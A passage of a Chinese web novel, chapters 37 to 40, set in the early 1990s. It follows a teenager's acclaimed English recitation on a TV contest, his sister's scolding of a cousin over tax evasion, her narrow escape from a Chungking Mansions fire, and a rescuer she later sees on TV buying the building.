开口的瞬间。整个演播大厅,原本喧闹的人群,仿佛被按下了静音键。那不是带有湘省口音的散装英语,那是非常纯正、极其地道的美式发音! 但真正让人震撼的,不是他的发音,而是他的语调。没有做作的抑扬顿挫,没有夸张的手势。他就像一个孤独的宇宙观察者,在向全人类发出低沉的叹息。 裴文韬停顿了一下,继续流利地说道:“Onit,everyoneyoulove,everyoneyouknow,everyoneyoueverheardof,everyhumanbeingwhoeverwas,livedouttheirlives.(你所爱的每一个人、你认识的每一个人、你听说过的每一个人,历史上的每一个人,都在它上面度过一生。)” 这段卡尔·萨根在1990年著名的科普演讲《暗淡蓝点》(PaleBlueDot),在当时信息相对闭塞的中国大陆,简直是闻所未闻的天外之音。 它原本就带着一种宏大的宇宙悲剧感。而此刻,由一个长相绝美、气质孤冷、年仅十四岁的少年,用一种近乎冷酷却又饱含深情的语调背诵出来。 这种降维打击般的文化冲击力,瞬间摧毁了现场所有人的心理防线。 全场的观众愣住了,空气仿佛凝固,所有的嘲笑和怀疑都在这一瞬间烟消云散。评委、导演、主持人,全部震惊地看着台上的少年。 那些原本嘲笑他的女孩们,此刻全都屏住了呼吸,双手捂着嘴巴,眼睛一眨不眨地盯着聚光灯下那个仿佛在发光的男孩。连眼眶都有些微微泛红。 坐在前排的几个同样参赛的选手,脸上浮现出一种被碾压的绝望与敬畏。 37. 第 37 章 裴文韬的声音并不高,却每个字都清晰无比,发音准确,语调平缓,带着一种自然而然的优雅。他背诵得如行云流水,毫不拖沓,流利的英语和他冷峻的面容形成鲜明的对比,令人忍不住为之动容。 “TheEarthisaverysmallstageinavastia.Thinkoftheriversofbloodspilledbyallthosegeneralsandemperorssothat,ingloryandtriumph,theycouldbeethemomentarymastersofafraofadot...” (在浩瀚的宇宙剧场里,地球只是一个极小的舞台。想想那些帝王将相挥洒的鲜血,只为以荣耀与胜利,成为一个小点上某一区间的短暂主宰……) 裴文韬没有停顿,他的声音在偌大的演播厅里回荡。每一句台词,每一个重音,都进入了每一个观众的灵魂深处。 他没有用华丽的辞藻去谄媚评委,没有用不擅长的才艺去取悦观众。 他用浩瀚的宇宙和人类的渺小,对刚才所有针对他的傲慢与偏见,进行了一场无声却震耳欲聋的嘲弄。 最后,他微微垂下眼眸,用一句极轻、却余音绕梁的话,结束了这场降维打击般的演讲。 “...andtopreserveandcherishthepalebluedot,theonlyhomewe'veeverknown.”(……珍惜和保护这暗淡蓝点,我们唯一的家园。) 话音落下。裴文韬放下麦克风,演播厅里陷入了长达五秒钟的死寂。 仿佛所有人都还沉浸在那个浩瀚无垠的宇宙中,没有回过神来。 直到刘杰像个疯子一样从椅子上跳了起来,挥舞着双手,用变调的嗓音撕心裂肺地吼了一声:“老韬!!牛逼!!老韬!!!” 这一嗓子,像是一个火星落进了火药桶。 台下的人情不自禁地跟着刘喊:“老韬!老韬!” 整个演播大厅瞬间炸了!掌声、尖叫声、口哨声,如海啸般席卷而来,震得天花板上的吊灯都在微微晃动。 甚至有几个坐在前排的女生,激动得站了起来,流着眼泪拼命鼓掌。 这是对绝对实力的臣服。这是在那个精神文化尚不富足的年代里,人们对高级知识分子气质和纯粹审美的本能膜拜。 主持人彻底呆住了。他从业这么多年,从来没有见过在一个中学生选秀节目里,能引发如此排山倒海般的情绪共鸣。 他走到裴文韬身边,眼神里充满了不可思议与深深的敬畏,甚至连说话的语气都变得小心翼翼起来:“裴文韬同学……你的发音,你的演讲内容……简直,简直让人震撼!你到底是怎么做到的?” 裴文韬看着台下陷入狂热的人群,眼神依旧没有一丝波动。 他微微低了低头,什么也没说,只是将麦克风递还给主持人,转身走回了选手席。 深藏功与名。 总决赛是录播。 虽然比赛已经进入尾声,但现场观众的狂热已经足以将演播厅的屋顶掀翻。 二楼的导播室里,气氛已经达到了白热化的程度。 “收音!收音!不要漏掉刚才那段掌声!”总导演盯着面前的监视器墙,激动得声音都在发抖,甚至一把抢过旁边副导演手里的对讲机。 这场录制原本只打算剪成一期九十分钟的特别节目,在周末晚间档播出。台领导对这档拉了汽水厂赞助的中学生节目的预期,不过是不赔本就好。 但在裴文韬那段降维打击的英文演讲之后,敏锐的电视人嗅到了爆款的味道。 “这小子简直是老天爷赏饭吃!这张脸,配上刚才那种气质,只要节目一播出,全省的中学生绝对疯了!”总导演在导播室里来回踱步。 台长也在现场督战,他沉着脸思索了片刻,当机立断拍了桌子:“不能就这么一期播完!太浪费了!” “台长的意思是……” “改赛制!马上切断录制,中场休息!”台长指着监视器里正冷着脸往选手席走的裴文韬,“跟底下的观众说,今天的总决赛只录上半场。剩下的一半,推迟到两周后再录制、再播出!” 副导演愣了一下:“可是台长,场地都租好了,选手也都在这儿,为什么要推迟两周?” “你懂个屁!”台长瞪了他一眼,“刚才那段演讲播出去,这档节目绝对爆火!咱们用这两周的时间,拿着这盘录像带去找省里的各大企业拉赞助!汽水厂那二十万算什么?这节目的冠名费,至少得翻十倍!这两周,就是给广告部招商留出来的黄金时间!” 这就是九十年代初,刚刚嗅到商业化气息的地方电视台,野蛮而又充满生命力的操作。 “各部门注意!暂停录制!主持人上台圆场!”导播通过对讲机下达了指令。 台上的主持人接到耳返里的指令,虽然有些错愕,但立刻展现出了老练的控场能力。 他快步走到舞台中央,双手下压,示意观众安静:“各位亲爱的观众朋友,以及在场的十位优秀选手!由于今天的比赛实在太精彩、太激烈,选手们的表现远远超出了组委会的预期!” 主持人顿了顿,将目光刻意停留在了裴文韬的身上:“为了让评委们有更充分的时间进行综合评估,也为了给电视机前的观众留下更多的悬念。组委会临时决定,今天的总决赛,作为上半场到此结束!最终的王者之战,将在两周后的下半场为大家揭晓!” 全场顿时响起一片遗憾的嘘声。观众们正看到兴头上,这突如其来的操作,简直让人抓心挠肝。 主持人顶着嘘声,笑眯眯地走到裴文韬身边,试图在停机前再榨取一点这个冷面少年的综艺感:“裴文韬同学,今天的比赛上半场已经结束了,所有人都对你充满了期待。对于两周后的巅峰对决,你现在有什么想对大家说的吗?会给大家带来更大的惊喜吗?” 聚光灯再次打在裴文韬身上。 裴文韬微微皱了皱眉。他原本只打算忍受一天,现在竟然告诉他还要再来一次? 他看了一眼主持人手里的麦克风,又看了一眼台下那些狂热的眼神,语气一如既往的平淡: “我比较期待,组委会下一次发的劳务费,能把这两周的精神损失补上。” 全场安静了一秒。紧接着,无论是台下的观众,还是评委,甚至连后台的摄像师傅,全都爆发出了大笑和欢呼。 没有假大空的豪言壮语,只有这句充满了黑色幽默、又带着点市井气的大实话,将他原本过于高冷、甚至有些不接地气的形象,瞬间拉入了一种带着强烈反差萌的鲜活之中。 “这小子,绝了。”导播室里,总导演笑得直拍大腿,“这段全给我保留!这就是爆款!” 录制在极度热烈的气氛中结束。 为了防止现场失控,组委会安排保安护送着选手们从员工通道匆匆离场。 裴文韬和刘杰被通知去财务室领今天的劳务费红包。 按照之前的“潜规则”比例,没有任何悬念:裴文韬因为自带爆点,拿到了五百块钱的大红包;而作为超级替补兼气氛组组长的刘杰,只领到了一个薄薄的五十块钱安慰奖。 走出电视台大院,已经是下午5点多了。 两人快快乐乐地溜回西照大学的文印店。 回到家中,刘杰口沫横飞地向表弟表妹们显摆自己到电视台参赛经历,结果被表妹无情打脸:“快拉倒吧哥!你长得还没表弟帅,哪个节目组不开眼会用你啊——” “是啊哥,你别是想红想疯了,被人骗了吧”表弟也吐槽。 刘杰气得火冒三丈:“把钱给我!白眼狼!白对你们好了!”表弟表妹拿着钱一哄而散。 回到西照市的裴文韬,身心俱疲。 那场喧闹的录制,抽干了他极大的精力。他跟大哥裴文龙打了个招呼,说今天不去复印店帮忙了,躺在卧室里,戴上耳机,试图在重金属摇滚的轰鸣中恢复能量。 然而,祸从天降。 下午三点,他那个不省心的损友,又像屁股着火一样杀到了。 裴文韬烦躁地摘下耳机,趿拉着拖鞋走过去拉开门。 刚想把门重新摔上,刘杰已经极其熟练地伸出一只脚卡在门缝里,然后像条泥鳅一样硬生生挤了进来。 “老韬!大喜事!天大的喜事!”刘杰满头大汗,手里还死死攥着一张揉得皱巴巴的纸条,脸上的表情已经因为过度激动而扭曲了。 裴文韬冷着脸看着他:“你能有什么喜事?全是坑我,真想顺着窗户把你给扔下去。” “电影!咱们的电影!”刘杰一把抓住裴文韬的肩膀,疯狂地摇晃起来,“《汉武大帝》!剧组刚给我家打了电话!说电影提前过审了,一个星期后就在上海办首映礼!” 裴文韬微微皱眉:“所以呢?” “所以他们邀请咱们去参加首映礼啊!而且包食宿!包双程硬卧火车票!还给发车马费!”刘杰激动得声音都劈叉了,眼睛瞪得像铜铃。 他能不激动吗?从去年夏天开始,他就在盼着这一天。 回到旗山县后,他无数次地向表弟表妹们吹嘘自己在剧组里是如何和导演称兄道弟、如何与明星同台飙戏的。结果每次都被无情嘲笑,说他就是个跑龙套的小太监。 现在,剧组竟然亲自打电话邀请他去首映礼!这是什么?这是正名!这是衣锦还乡! 裴文韬看着刘杰那副状若癫狂的样子,沉默了片刻,然后面无表情地吐出三个字:“我不去。” 38. 第 38 章 “什么?!”刘杰的笑容瞬间僵在脸上,像是一只被掐住脖子的尖叫鸡,“为什么不去啊?!包吃包住还发钱啊老韬!” “太远。太热。麻烦。”裴文韬言简意赅。他只想在家待着,哪都不想去。 “不行啊老韬!”刘杰急得差点跪下了。 他心里比谁都清楚,剧组之所以愿意包食宿出路费,根本不是因为他这个露了半张脸、连名字都没上演员表的小太监。人家邀请的是扮演少年汉武帝的裴文韬!他刘杰,不过是沾了裴文韬的光,作为家属或联络人顺带被邀请的。 如果裴文韬不去,剧组绝对会毫不犹豫地取消他的资格。 “老韬,韬哥!我求求你了!”刘杰死皮赖脸地抱住裴文韬的胳膊,使出了浑身解数,“你就当是去上海旅游一圈行不行?你就带我去吧!” 裴文韬的眉头皱得更紧了。 他讨厌那种社交、闪光灯和应酬的场合。但他看着刘杰那双充满乞求的眼睛,心里又泛起了一丝无奈的权衡。 他性格孤僻,刘杰是他从小到大唯一一个厚着脸皮死活要跟他做朋友、且没有被他冷暴力劝退的人。他很清楚,这部电影的首映礼,对虚荣心旺盛的刘杰来说意味着什么。如果他不去,刘杰这辈子都会留下遗憾。 房间里陷入了短暂的沉默,只有电风扇发出的声响。 良久,裴文韬叹了口气,勉为其难地点了点头:“去一次也行。不过,我得先问问我哥和我姐。” “太好了!!我就知道你明事理!”刘杰高兴得差点原地蹦起来,“走走走!这就去找大哥!” 大哥是不会有问题的,关键是大姐啊! 裴文韬走到复印店柜台后的那部座机前,拨通了深城的号码。电话拨号的每一秒,他的头皮都在一阵阵发麻。 在这个家里,他天不怕地不怕,就怕他大姐。 如果大姐发火,觉得他这是在不务正业,那别说去上海,他可能连旗山县的门都出不去。 电话通了。 裴文韬硬着头皮,将剧组邀请去首映礼的事,结结巴巴地说了一遍,甚至做好了把听筒拿远一点,迎接劈头盖脸一顿臭骂的准备。 出乎意料的是,电话那头并没有传来预想中的怒吼。 裴文莹沉默了片刻,语气异常温和且平静地说道:“去吧。既然你拍了电影,收了剧组的片酬,那配合剧组进行宣传,完成最后一步,这是契约精神。” 裴文韬愣住了,怀疑自己听错了:“姐,你……你不会是在钓鱼执法,等我去了再骂我吧?” 电话那头传来一声轻笑:“不会骂你。善始善终吧。只要你心里有对的方向,不本末倒置,其他的,权当是丰富人生阅历了。” 裴文韬松了一口气,却也没敢多问什么是对的方向。 他很清楚,在哥哥和姐姐的规划里,这个方向肯定不包括去当什么光鲜亮丽的明星。在他们眼里,除了考上一所顶尖大学,走上正统的精英之路,其他一切抛头露面的行当,都是不务正业。 他要是敢不上学,他姐就敢把他抽死。也不知道她和大哥是什么执念,自己都没考大学,却偏偏坚持让他一定要上大学。 前一阵子他姐还出钱把舅舅家的表妹陈圣兰也送去县一中读书了,说是要让圣兰走出旗山县——圣兰考上了县一中自己都不想读书了,只想去表哥王建国的服装店卖货,舅舅舅妈都答应了,只有他姐强烈反对,自己出钱供表妹读书,也不知道她图什么。 挂断电话,裴文韬看向旁边急得抓耳挠腮的刘杰。“我姐答应了,”裴文韬淡淡地说。 XXX 旗山县城里,王建国的服装店算得上是最有人气的店铺。尽管旗山县并不算繁华,但他的小店已经吸引了西照市甚至隔壁北护市的很多回头客,生意非常好。他在兆丰县的分店已经迅速上了正轨,不但本金收回,每个月盈利不比旗山县总店差。 虽然他对外总是宣称普普通通,勉强不亏,但税务局是知道他挣了多少钱的——说起这个,他就有些埋怨表妹,隔三差五总是提醒他按时交税,一点侥幸心理都不能有。 他不知道表妹到底是在怕什么,每个月他经手的都是现金,少报点谁能知道?而且每个月那么大笔现金流进帐,他怎么可能把钱都交了税? 他刚刚把这个想法略微透露了一下,就惹来表妹劈头盖脸一通臭骂:“王建国!你是不是膨胀了?你以为你在旗山县赚了钱,就没有人知道?现在旗山县几乎人人都知道你的名字!你的收入,谁算不出来?你当人家傻吗?偷税漏税的事情你真以为没人知道吗?” 王建国被表妹叫着名字骂,很没面子,他不服气地说:“钱都收到我兜里了,又没第二个人知道,我记账的时候少记点——” 裴文莹截住了话头说:“怎么没第二个人?你店里卖货的小菊,还有兆丰分店的小文,她们不是人吗?她们不知道总账,还不会算吗?” “她们都是自家亲戚,而且也没那个脑子——” 裴文莹火冒三丈,这个人就不想走正道了是吧?她冷冷地说:“表哥,多余的话我不多说,我要是想收拾你,就暗地里派个人在你店门口数人,看每天有多少人拿着衣服从你店里出来,算不出细账,但总账肯定能算出来——有你偷税漏税的把柄,我举报一下,把你店查封了,给你关起来,你吃不了兜着走。我再在你旁边重开一个店,把你的市场抢了,你在那边补着税、坐着牢,我在这边挣着大钱。等你放出来,旗山县卖衣服的这块天早就改了姓——你就等着要饭吧!” 王建国打了个冷战,被她描绘的地狱景象吓坏了,再也不敢提少记账这话题了。 前世,裴文莹从电视上看过一个新闻:一个名气很大的女明星偷税漏税,被自己员工举报,被关了一年多,连补带罚交了一千多万,十几年都一蹶不振。 常在河边走哪有不湿鞋,可以想办法开源,但不要在违法的事情上踩线。 看样子,王建国从上次被人举报“洋垃圾”得到的教训还不够深——他不知道,他挣的钱已经多到让小县城的人眼红了,再来一次偷税漏税事件,他永远都别想翻身了。 很多因为某种机遇与巧合而一夜暴富的人,都没有足够的智慧来驾驭这突如其来的财富。如果不拼命 提高自己的认知水平,最后大概率是被这财富所累,轻则家财散尽,重则家破人亡。因为德不配位,必有灾殃。 把表哥臭骂一顿的裴文莹,神清气爽。 她坐在自己的办公室里,整理着一份工厂的报表。深城的气息与旗山截然不同,繁忙的商业区与工厂周围的喧嚣在她看来早已不再陌生。她的生活早已步入了不同的节奏。 突然,办公室的人通知有她的电话,于是匆忙放下报表,去办公室。 接起电话才知道是表哥王建国,他想去香港看一看时尚潮流,但他没有出过境,自己很害怕,让表妹陪他一起去。 “莹姐儿,上次在广州,高第街那边有人告诉我,可以去港城看看,那边的款式更新,很多款在国外刚出来,港城就有人穿了!”王建国的声音带着一丝兴奋和紧张,他一边打电话,一边挥舞着从旅行社那里拿到的资料。“我决定了,想去港城看看!” 裴文莹眉头微微一挑。她知道,表哥一直在琢磨着做些突破,但这个想法对于他来说,显然有些超出了舒适区。 “你真的很想去?”她低声问,嘴角带着一丝不易察觉的笑意。 王建国挠了挠头,脸上的表情既有些自嘲,隔着电话裴文莹都能听出他的期待,“是的,莹姐儿,我……我知道自己没去过外面,没经验。但是,我实在是忍不住了,旗山这地方做得不错,但我总觉得我应该去看看外面,看看那些新潮的设计,到底和我们这里有多大区别。” 裴文莹沉默了片刻,目光在信封上停留,心里想着:王建国的心思她非常明白。他不满足于眼前的生活,但要突破自己,内心又很惶恐。 旗山县虽然不小,但相比大都市,那不过是一个乡村小镇,充满着自己的局限和束缚。而港城,象征着无限的可能,象征着变革与机遇——但对于王建国来说,去到那种完全陌生的地方,意味着不小的挑战。 “所以,你是想让我陪你一起去是吗?”裴文莹终于开口,声音平静而理智。 王建国下意识地紧张了几分,“我……我自己没去过,不太有信心。你如果有空……” “行。”她点了点头,“我找个时间,陪你一起去。” 王建国愣住了,“你陪我去?真的?”他激动得有些语无伦次,“那太好了,莹姐儿,吃住我包了!港城是个大地方,说的话我又听不懂,交通那么复杂,我一个土包子,应付不来啊!” “放心吧,表哥。”裴文莹轻描淡写地说道,“你到深城来,我周末陪你去,快去快回。” 深城此时有旅行社组织一日游,早上团体过关去港城,游览一圈晚上回来。裴文莹只需要跟导游打个招呼,借他们的便利帮他们办理通关手续就行,停留的时长可以不限于一日游。 很快,王建国就大包小包地到了深城。他是趁到广州进货的时间顺便来的,这样可以省路费。虽然挣了大钱,张老板还是不改抠门的本性。 裴文莹安排他在自己租的房子里住下,让他自己白天先出去逛一逛。她的房子在深大校园内,王建国在校园里溜达了两天,看了两天美女,过足了眼瘾。 39. 第 39 章 周末裴文莹不用上班,一大早就和王建国一起随着旅行社的团去了港城。 作为深城的常住居民,裴文莹对繁华都市的熙攘不陌生,但在港城这座国际化的大都市里,每一条街道都充满了陌生的异域气息,让她不禁感到一种新奇,她不由自主地放慢了脚步。王建国则带着满脸的憧憬,似乎每一个角落都能吸引他的目光。 “我的老天爷!莹姐儿你快看!那楼是不是快顶到天了?这满大街的平治和皇冠,还有那些女的……穿得也太时髦了吧!” 王建国像个刚进大观园的乡巴佬,兴奋地在弥敦道上大呼小叫,时不时引来旁边行色匆匆的港人轻蔑的白眼。 裴文莹走在他身边,只是淡淡地笑着。 对于王建国来说,这是他第一次离开内陆,见识资本主义的鲜花着锦。但对于经历过前世的裴文莹而言,九十年代的港城虽然有着迷人的复古滤镜,却并不能让她感到震撼。 在铜锣湾的时代广场,她面不改色地刷卡,给自己、大哥和文韬各挑了几件质地极好的衣服。特别是给小弟,买了一双非常大牌的运动鞋最新款。 王建国看她一掷千金的派头,不禁怎么舌:“莹姐儿,你发财了?买这么贵的衣服鞋子也不心疼?”裴文莹只是笑笑,把表哥拉到一个专柜,打量了一下他的身材,快速地挑了几件衣服,让店员拿出来给王建国试。 王建国看着衣服的标牌,心里很虚,趁店员去拿衣服的光景,偷偷问裴文莹:“莹姐儿,这得多少钱啊?不要买这么贵吧?我也没带多少钱……” 裴文莹打断他的话:“表哥,人都是先敬罗衣后敬人,你现在生意做大了,不是小混混王建国,是王老板了,出门会客,你得有几件拿得出手的衣服。这西装,贵的和便宜的,天差地远。没关系,你放心试,我有钱,这些衣服算我送你的!” 虽然总是因为各种原因被表妹骂得臭死,但关键时刻,表妹从不含糊。 在表妹的指挥下,王建国试了好几套衣服,终于敲定了一套西装、一件衬衣、一条皮带。全部买下花了5000多港币。裴文莹面不改色地拿出钱包付了钱。王建国在一旁看着,佩服得五体投地。 两个人在街头走了一整天,筋疲力尽,最后拖着疲惫的身躯返回到重庆大厦的酒店。 这座位于尖沙咀黄金地段的巨型建筑,就像是繁华港城中的一座灰色孤岛。因为《孤独星球》的推荐,这里挤满了来自世界各地的背包客、倒爷和劳工。隔壁的半岛酒店住一晚要四千港币,而这里的廉价招待所只要一百块。 两人累得几乎快要站不稳,王建国一边喘着粗气,一边念叨着:“真是太累了,香港的地铁又挤又热,这里的人可真多。” “忍一忍,明早就回深城了。”裴文莹揉了揉酸痛的小腿。 电梯在三楼停下,门刚打开一条缝,一股浓烈的、刺鼻的焦糊味瞬间钻进了轿厢。 裴文莹的神经猛地一跳,某种濒临绝境的本能让她瞬间清醒。 走廊外,原本应该安静的招待所此刻却像炸了锅一样。夹杂着各种语言的叫骂声、女人的尖叫声,以及重物倒地的沉闷声响,交织成一片混乱的洪流。 “Fire!Fire!(起火了!)”“救命啊!着火啦!” 刺耳的火警警报声终于在这一刻凄厉地响了起来,红色的警示灯在浓烟中疯狂闪烁。 “什么?火灾?!”王建国惊慌失措地看着裴文莹,面色苍白。 “赶紧走,别再等了!”裴文莹立即拉住王建国,带着他向楼道的紧急出口跑去。在这种结构复杂如迷宫的巨型大厦里,一旦发生火灾,毒烟和踩踏比火焰更致命。 两人捂着口鼻,顺着逼仄的消防楼梯拼命往下跑。 周围全是惊慌失措的人群,有人甚至连鞋都没穿,光着脚在楼梯上狂奔。空气中的氧气被迅速抽干,每一口呼吸都伴随着咽喉的灼痛。 不知道往下跑了多久,当他们终于冲出大堂、跌跌撞撞地跑到弥敦道上时,裴文莹只觉得肺都要炸了。 回头望去,那座庞大的重庆大厦,底层的窗户已经喷吐出张牙舞爪的火舌,滚滚浓烟直冲云霄,将港岛璀璨的夜空硬生生撕开了一道漆黑的裂口。 燃烧的碎屑像黑色的雪花一样从高空飘落。整条街已经被消防车的警笛声和警车的封锁线彻底填满。 “我的妈呀……差点交代在里面了……”王建国瘫坐在马路牙子上,大口大口地喘着粗气。 然而,危机并没有解除。 不到十分钟,整栋大厦浓烟滚滚,随后燃起熊熊大火,火光明亮,仿若张牙舞爪的恶魔。随着火势蔓延后,不断有燃烧的碎屑向四周和地面飘散。 就在这时,突然人 群中一阵骚乱传来,裴文莹还来不及反应,脚下一滑,她整个人重重地摔倒在地。周围的人都像潮水一样涌上来,瞬间,她的身体几乎被人群压住,眼看就要被踩踏。 “莹姐儿!”王建国惊恐地大吼,却被慌乱的人群瞬间冲散到了几米开外。 无数双脚在裴文莹眼前晃动。她试图爬起来,但很快又被一个惊慌失措的胖女人重重踩在了肩膀上。剧痛瞬间袭来,如果再不站起来,她绝对会被活活踩死在这个繁华的街头! 就在千钧一发之际。 一只骨节分明、极其有力的手,猛地从后方伸了过来,死死钳住了她的手臂。 那股力量大得惊人,几乎是将她整个人从地上生生拔了起来。 下一秒,裴文莹撞进了一个坚实而宽阔的胸膛。男人顺势用宽大的肩膀为她挡开了一个横冲直撞的壮汉,带着她迅速后撤,直到两人退进了旁边一处安全的骑楼阴影里。 裴文莹头晕目眩,耳边全是尖叫声和火警声。她的心脏狂跳,好几秒钟后,才终于找回了自己的呼吸。 她本能地抬起头,想要向救命恩人道谢。 但她刚张开嘴,那个高大的身影已经松开了手,毫不犹豫地转身,准备重新隐入混乱的人群中。 “先生!”裴文莹下意识地用粤语大声喊了一句。 那道挺拔的身影在火光与浓烟中微微一顿。男人转过头,侧眸看了她一眼。 那一瞬间,周遭的喧嚣仿佛都被拉长了。 冲天的火光映照在他那张俊朗的脸上,那一瞬间,他的脸上没有任何表情,冷峻且带着几分疏离。 他没有说话,也没有多做停留,只是淡淡地看了她一眼,逆着逃生的人流,大步走进了夜色深处。 裴文莹的心跳剧烈加速,那一眼,深深刻在了她的记忆里。 她一定在哪里见过他。 “莹姐儿!你吓死我了!”王建国终于挤开人群,连滚带爬地冲过来,一把抓住裴文莹的胳膊,上下检查,“有没有受伤?有没有被踩到?你要是出点事,大哥非把我的皮扒了不可!” “我没事。”裴文莹努力站稳身子,强迫自己收回视线,“只是摔了一下,没事。” “莹姐儿,你不知道,你刚刚摔倒了那一刻,我想死的心都有了!”王建国此时已经吓得面色苍白,额头上全是汗水。 40. 第 40 章 清晨的阳光透过窗帘的缝隙洒在地板上,带着南方特有的湿润。 裴文莹脑子里依然是乱哄哄的。昨晚从港城连夜逃回深城,她几乎一夜未眠。 只要一闭上眼睛,脑海里就会浮现出那座浓烟滚滚的重庆大厦,以及在火光映照下,那个男人回眸时的锋利侧影。那只将她从死神手里拽出来的手,掌心的温度仿佛还残留在她的手腕上。 她打开电视机,习惯性地调到了香港翡翠台。 早间新闻正在滚动播报昨夜的惨剧。 “昨夜十时许,尖沙咀著名地标重庆大厦发生三级火警。火灾共造成两死十八伤,大批租客被迫连夜疏散。据悉,该大厦内部结构老化、消防设施长期瘫痪是导致火势迅速蔓延的主因……” 画面中,大厦的外墙被熏得漆黑,消防员还在喷射着水柱清理余烬。镜头扫过那些披着保温毯、眼神呆滞的住客,裴文莹仿佛看到了昨晚那个狼狈的自己。 “我的妈呀!”王建国提着早餐进来,一眼就看到了电视上的画面,吓得手一抖,差点把早餐扔在地上。“这这这……这不是咱们昨天住的那破楼吗?!” 裴文莹沉默地点了点头。 王建国咽了口唾沫,想到昨晚两人还在那栋大楼里穿梭,他的背脊发凉。 “幸好!幸好我们刚进大楼就出来了!”他摸了摸脑门的冷汗,后怕不已地念叨,“要是再多待一会儿,岂不是要交代在里面了?” 裴文莹沉默地看着画面,思绪纷乱。 新闻镜头里,一个蓬头垢面的年轻女人披着急救毯,眼神呆滞,嘴唇发白,头发烧焦,和她昨晚狼狈的样子几乎一模一样。 她脑海中浮现出那道挺拔的背影——那个人在混乱之中扶住了她,把她从踩踏的人群里救出来,甚至还在她呼喊时回头看了她一眼。 那张脸,在混乱的火光下只停留了短短一瞬,却深深刻进了她的记忆里。 ——她一定在哪里见过他。 王建国叹了口气,嘀咕道:“不行,我最近两年都不想去港城了。这地儿和我相冲,我刚去就起火——莹姐儿,我明天就回旗山,你有什么要捎给你兄弟的,早点拿出来,我坐明天最早的那班火车走。” 王建国走后,裴文莹恢复了每天上下班的日子。威廉这两周去老板的另一个厂子里,郑嘉瑞每天中午会端着餐盘过来和她一起午餐,有时候会聊聊八卦。铭康的管理层都在小餐厅吃饭,里面相对宽松一点,餐厅中央承重的柱子上有台电视,大家吃饭之余,可以顺便抬头看一眼。 这天中午,裴文莹走进餐厅,电视机正播放着午间财经新闻。 两天后,铭康电子厂。 生活又回到了原本的高速运转中。威廉工程师这两天被郭总派去了东莞的新厂区做技术指导,裴文莹终于难得地有了一点喘息的时间。 中午,工厂的餐厅里。裴文莹端着餐盘,在一张靠窗的空桌前坐下。 没过多久,对面拉开椅子的声音响起。新上任的生管部经理郑嘉瑞端着餐盘坐了下来。 郑嘉瑞是上个月刚从台湾总公司调过来的,三十多岁,典型的台湾精英做派,戴着金丝眼镜,为人圆滑世故,但骨子里却透着一种对大陆同事的隐秘优越感。不过,因为裴文莹在厂里如日中天的地位,他对裴文莹倒是颇为客气,甚至经常主动过来搭话。 “裴主管,听说你周末去港城遇到火灾了?没事吧?”郑嘉瑞一边吃饭,一边用带着台湾腔的国语寒暄。 “有惊无险,谢谢关心。”裴文莹淡淡地回了一句,低头吃着自己盘子里的青菜。 餐厅中央的柱子上挂着一台大彩电,此刻正播放着香港本港台的《午间财经》。 “接下来播报一条本港重要的地产收购案。距离重庆大厦火灾仅过去4时,今日上午,该物业正式宣布易主。神秘买家以远低于市场预估的底价,全盘接手了这块位于尖沙咀核心地段的‘烫手山芋’……” 裴文莹夹菜的手微微一顿,抬起头看向电视屏幕。 画面切到了香港某家高级酒店的新闻发布会现场。长枪短炮的闪光灯下,一个身形颀长、西装革履的年轻男人,在众多保镖和律师的簇拥下,从容不迫地走向发言台。 当镜头拉近,给了那个男人一个面部特写时,裴文莹的心跳猛地漏了一拍。 屏幕中央,站着一个身形颀长、俊朗贵气的年轻男子。他穿着剪裁得体的深色西装,衬衫纽扣一丝不苟地扣到最上方,领带平整,袖口露出一截价值不菲的腕表。 是他!罗山宗。 去年广交会晚宴上,她险些被人刁难时,站出来替她解围的是他。 前几天重庆大厦火灾中,她被踩踏的人群撞倒,拉她一把的,还是他。 素不相识,他却已经两次出手相助。 “据悉,此次收购的发起方,是近年来在港城商界声名鹊起的‘颖科资本’。而坐在我们面前的,正是颖科的创始人兼CEO,罗山宗先生……”主持人的画外音在餐厅里回荡。 “你也在看这个新闻啊。”对面的郑嘉瑞注意到了裴文莹的眼神,推了推眼镜,语气里带着一丝掩饰不住的艳羡与八卦,“罗山宗,罗家的人。你可能不知道,在香港,罗家可是被称为‘罗半城’的顶级老钱家族。铜锣湾和中环的半条街都是他们家的产业。怎么?你对这种八卦也感兴趣?” 裴文莹回过神,压下心头的震惊,语气如常地问:“‘罗半城’?听起来来头不小。” “那是自然。不过这位罗三少,可不是那种只会混吃等死的二世祖。”郑嘉瑞喝了一口汤,似乎很乐意在这个大陆女主管 面前展示自己的信息网。 他看着屏幕上的商界菁英,有点羡慕,又有点八卦地说:“不过,他和罗君年的关系并不好。你知道的,豪门父子,向来有很多矛盾。” 裴文莹微微挑眉,示意他继续。 “罗山宗从小送去英国读书,后来又上的哈佛学经济,本来是打算留在美国发展的。”郑嘉瑞顿了顿,语气带了点意味深长,“结果,他母亲病重,他才回了香港。在母亲的周旋下,和罗君年父子关系稍微缓和了一些。” “然后呢?” “然后罗君年大概也是舍不得这么个优秀的儿子,投了四百万美元,让他自己创业。”郑嘉瑞笑了笑,“于是,他就成立了‘颖科公司’。” “颖科……”裴文莹低声重复了一遍,“是做什么的?” “最初是投资公司,但他眼光毒辣,房地产、金融都有涉猎。”郑嘉瑞说道。 “可是……”裴文莹看着电视屏幕,提出了一个疑问,“重庆大厦刚发生火灾,死了人,在风水上可是大忌。听说原来的业主郑家就是嫌晦气才急着脱手的,这时候接盘,不是砸在手里了吗?” 郑嘉瑞笑着摇了摇头,像是在看一个不懂商业的门外汉:“裴主管,这就是你外行了。现在整个香港的楼市就像疯了一样,每天都在涨!重庆大厦虽然破,但它可是压在尖沙咀的黄金地皮上啊!火灾一出,郑家为了止损,底价大出血。罗山宗这时候接盘,哪怕只是放着不动,等过两年翻新一下再卖,转手就是十几倍的利润!这种在别人恐慌时敢下重注的魄力,不是谁都有的。” 电视屏幕上,画面正切到了记者提问环节。 无数个麦克风怼到了罗启宗的面前。 “罗先生!外界传言重庆大厦因为此次火灾变成了凶宅,您为何选择收购?”一个记者的问题极其尖锐。 屏幕里的罗山宗没有丝毫的慌乱。他微微一笑,目光沉静,语气平稳:“重庆大厦位于港岛核心商圈,它不仅是港城商业发展的缩影,也承载了无数中小企业和租客的梦想。我相信,通过合理的改造和资源优化,这里将迎来更具前景的未来。” “……他很有眼光”郑嘉瑞感慨道,“火灾一结束,他就立刻买下,低价入手,未来改造翻新,等市场回暖,赚得可不止十倍。” 裴文莹轻笑了一声:“也很有魄力——” 此时,国际游资和本地炒房客们纷纷涌入港城,疯狂炒买港城房地产。从三年前开始,楼价、地价如脱缰野马般飙升,一直要疯涨到1997年。 